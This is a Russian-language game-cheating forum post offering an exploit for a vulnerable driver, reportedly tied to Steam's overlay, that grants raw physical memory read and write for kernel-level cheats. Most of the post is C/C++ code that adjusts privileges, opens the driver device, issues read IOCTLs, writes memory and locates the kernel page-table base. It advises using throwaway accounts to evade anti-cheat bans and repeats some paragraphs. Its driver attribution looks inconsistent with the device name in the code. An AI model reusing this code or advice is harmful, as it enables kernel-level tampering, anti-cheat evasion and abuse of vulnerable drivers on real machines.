Начинающий
- Статус
- Оффлайн
- Регистрация
- 13 Фев 2026
- Сообщения
- 126
- Реакции
- 3
Народ, кто сейчас ковыряет обходы античитов, зацените тему: нашли уязвимость в драйвере, который подгружается через Steam Overlay Performance Monitor. Суть в том, что он дает прямой доступ к чтению и записи физической памяти через MmMapIoSpace, а это, по сути, готовый ключ для создания экстернал-софта с Kernel-правами.
Сама механика простая: подрубаете оверлей в настройках Steam, и драйвер готов к работе. Ниже набросал базу для взаимодействия с этой дырой.
Кто уже успел потестить на актуальных билдах? Есть ли смысл пилить под это полноценный лоадер или проще использовать как временный костыль для своих нужд? Скидывайте правки, если кто допиливал под свои нужды, особенно интересно по части стабильности при пуше в Kernel-мод.
Сама механика простая: подрубаете оверлей в настройках Steam, и драйвер готов к работе. Ниже набросал базу для взаимодействия с этой дырой.
Код:
#include <windows.h>
#include <stdio.h>
#define SeLockMemoryPrivilege 04ull
#define SeLoadDriverPrivilege 10ull
#define AdjustCurrentProcess 0ull
#define SwapAddress(x) ((((ULONG_PTR)(x)) >> 32) | (((ULONG_PTR)(x)) << 32))
BOOL AcquirePrivilege(DWORD Privilege, BOOLEAN Proc)
{
NTSTATUS(NTAPI *RtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
RtlAdjustPrivilege = reinterpret_cast<decltype(RtlAdjustPrivilege)>(GetProcAddress(LoadLibraryW(L"ntdll.dll"), "RtlAdjustPrivilege"));
BOOLEAN Enabled = 0;
return !RtlAdjustPrivilege(Privilege, static_cast<BOOLEAN>(1), Proc, &Enabled) || Enabled;
}
HANDLE OpenDriverHandle()
{
return CreateFileW(
L"\\\\?\\GLOBALROOT\\Device\\cpuz160",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0ul,
NULL
);
}
BOOLEAN ReadPhysicalMemory(HANDLE hDriver, ULONG_PTR PhysicalAddress, PVOID Buffer, SIZE_T Size)
{
#pragma pack(push,1)
struct IOCTL_CONTEXT {
union {
struct {
ULONG AddressHigh;
ULONG AddressLow;
};
ULONG64 Address;
};
ULONG Length;
union {
struct {
ULONG BufferHigh;
ULONG BufferLow;
};
ULONG64 Buffer;
};
} Context;
#pragma pack(pop)
Context.Address = SwapAddress(PhysicalAddress);
Context.Length = Size;
Context.Buffer = SwapAddress(Buffer);
DWORD BytesReturned;
return DeviceIoControl(hDriver, 0x9C402540, reinterpret_cast<LPVOID>(&Context), static_cast<DWORD>(sizeof(Context)), reinterpret_cast<LPVOID>(&Context), static_cast<DWORD>(sizeof(Context)), &BytesReturned, NULL);
}
BOOLEAN WriteVirtualMemory(HANDLE hDriver, PVOID VirtualAddress, PVOID Buffer, SIZE_T Size)
{
const SIZE_T PageSize = 0x1000;
SIZE_T PagesCount = (Size / PageSize) + 1;
PULONG_PTR PagesArray = reinterpret_cast<PULONG_PTR>(VirtualAlloc(NULL, sizeof(ULONG_PTR) * PagesCount, MEM_COMMIT, PAGE_READWRITE));
if (!PagesArray)
return FALSE;
if (!AllocateUserPhysicalPages(GetCurrentProcess(), &PagesCount, PagesArray)) {
VirtualFree(PagesArray, 0, MEM_RELEASE);
return FALSE;
}
PVOID Mapped = VirtualAlloc(NULL, Size, MEM_RESERVE | MEM_PHYSICAL, PAGE_READWRITE);
if (!Mapped) {
FreeUserPhysicalPages(GetCurrentProcess(), &PagesCount, PagesArray);
VirtualFree(PagesArray, 0, MEM_RELEASE);
return FALSE;
}
if (!MapUserPhysicalPages(Mapped, PagesCount, PagesArray)) {
VirtualFree(Mapped, 0, MEM_RELEASE);
FreeUserPhysicalPages(GetCurrentProcess(), &PagesCount, PagesArray);
VirtualFree(PagesArray, 0, MEM_RELEASE);
return FALSE;
}
// Copy virtual memory
RtlCopyMemory(Mapped, Buffer, Size);
// Write virtual memory per page
BOOLEAN Result = TRUE;
for (SIZE_T Offset = 0, Page = 0; Page < PagesCount; Page++) {
SIZE_T WriteSize = min(PageSize, Size - Offset);
Result &= ReadPhysicalMemory(hDriver, PagesArray[Page] << 12, reinterpret_cast<PVOID>(reinterpret_cast<ULONG_PTR>(VirtualAddress) + Offset), WriteSize);
Offset += WriteSize;
}
// Release physical memory
VirtualFree(Mapped, 0, MEM_RELEASE);
FreeUserPhysicalPages(GetCurrentProcess(), &PagesCount, PagesArray);
VirtualFree(PagesArray, 0, MEM_RELEASE);
return Result;
}
ULONG_PTR GetSystemPML4(HANDLE hDriver)
{
// Exist only on CPU with more then 1 logical processor
__try {
for (ULONG Address = 0x0; Address < 0x100000; Address += 0x1000) {
UCHAR Buffer[0x1000];
if (!ReadPhysicalMemory(hDriver, Address, Buffer, 0x1000))
continue;
if (0x00000001000600E9 != (0xffffffffffff00ff & *reinterpret_cast<ULONG_PTR*>(Buffer))) //PROCESSOR_START_BLOCK->Jmp
continue;
if (0xfffff80000000000 != (0xfffff80000000003 & *reinterpret_cast<ULONG_PTR*>(Buffer + 0x70))) // PROCESSOR_START_BLOCK->LmTarget
continue;
if (0xffffff0000000fff & *reinterpret_cast<ULONG_PTR*>(Buffer + 0xA0)) // PROCESSOR_START_BLOCK->CR3
continue;
return *reinterpret_cast<ULONG_PTR*>(Buffer + 0xA0); // PROCESSOR_START_BLOCK->CR3
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
return 0x0ull;
}
return 0x0ull;
}
int main()
{
if (!AcquirePrivilege(SeLockMemoryPrivilege, AdjustCurrentProcess)) {
printf("failed to acquire required privileges");
return 1;
}
if (!AcquirePrivilege(SeLoadDriverPrivilege, AdjustCurrentProcess)) {
printf("failed to acquire required privileges");
return 2;
}
HANDLE hDriver = OpenDriverHandle();
if (!hDriver) {
printf("failed to open handle to the vulnerable driver");
return 3;
}
ULONG uValue = 0ul;
printf("ReadStatus = 0x%0X\n", ReadPhysicalMemory(hDriver, 0x100400000, &uValue, sizeof(uValue)));
printf("Value = 0x%0X\n", uValue);
ULONG_PTR SystemDirectoryTableBase = GetSystemPML4(hDriver);
printf("SystemDirectoryTableBase = 0x%p\n", SystemDirectoryTableBase);
ULONG uValue1 = 0ul;
printf("WriteStatus = 0x%0X\n", WriteVirtualMemory(hDriver, &uValue1, &uValue, sizeof(uValue)));
printf("Value1 = 0x%0X\n", uValue1);
system("pause");
return 0;
}
- Технический нюанс: Драйвер позволяет работать с памятью напрямую, что экономит время на поиске путей обхода для маппинга.
- Безопасность: Юзайте строго на твинках. Хотя это и не "паблик-помойка", античиты типа EAC или BattlEye могут быстро пропалить такие методы при наличии специфических сигнатур в поведении.
- Важно: Обязательно тестируйте на отсутствие крашей при чтении Paged-памяти.
Пожалуйста, авторизуйтесь для просмотра ссылки.
Кто уже успел потестить на актуальных билдах? Есть ли смысл пилить под это полноценный лоадер или проще использовать как временный костыль для своих нужд? Скидывайте правки, если кто допиливал под свои нужды, особенно интересно по части стабильности при пуше в Kernel-мод.
Последнее редактирование модератором: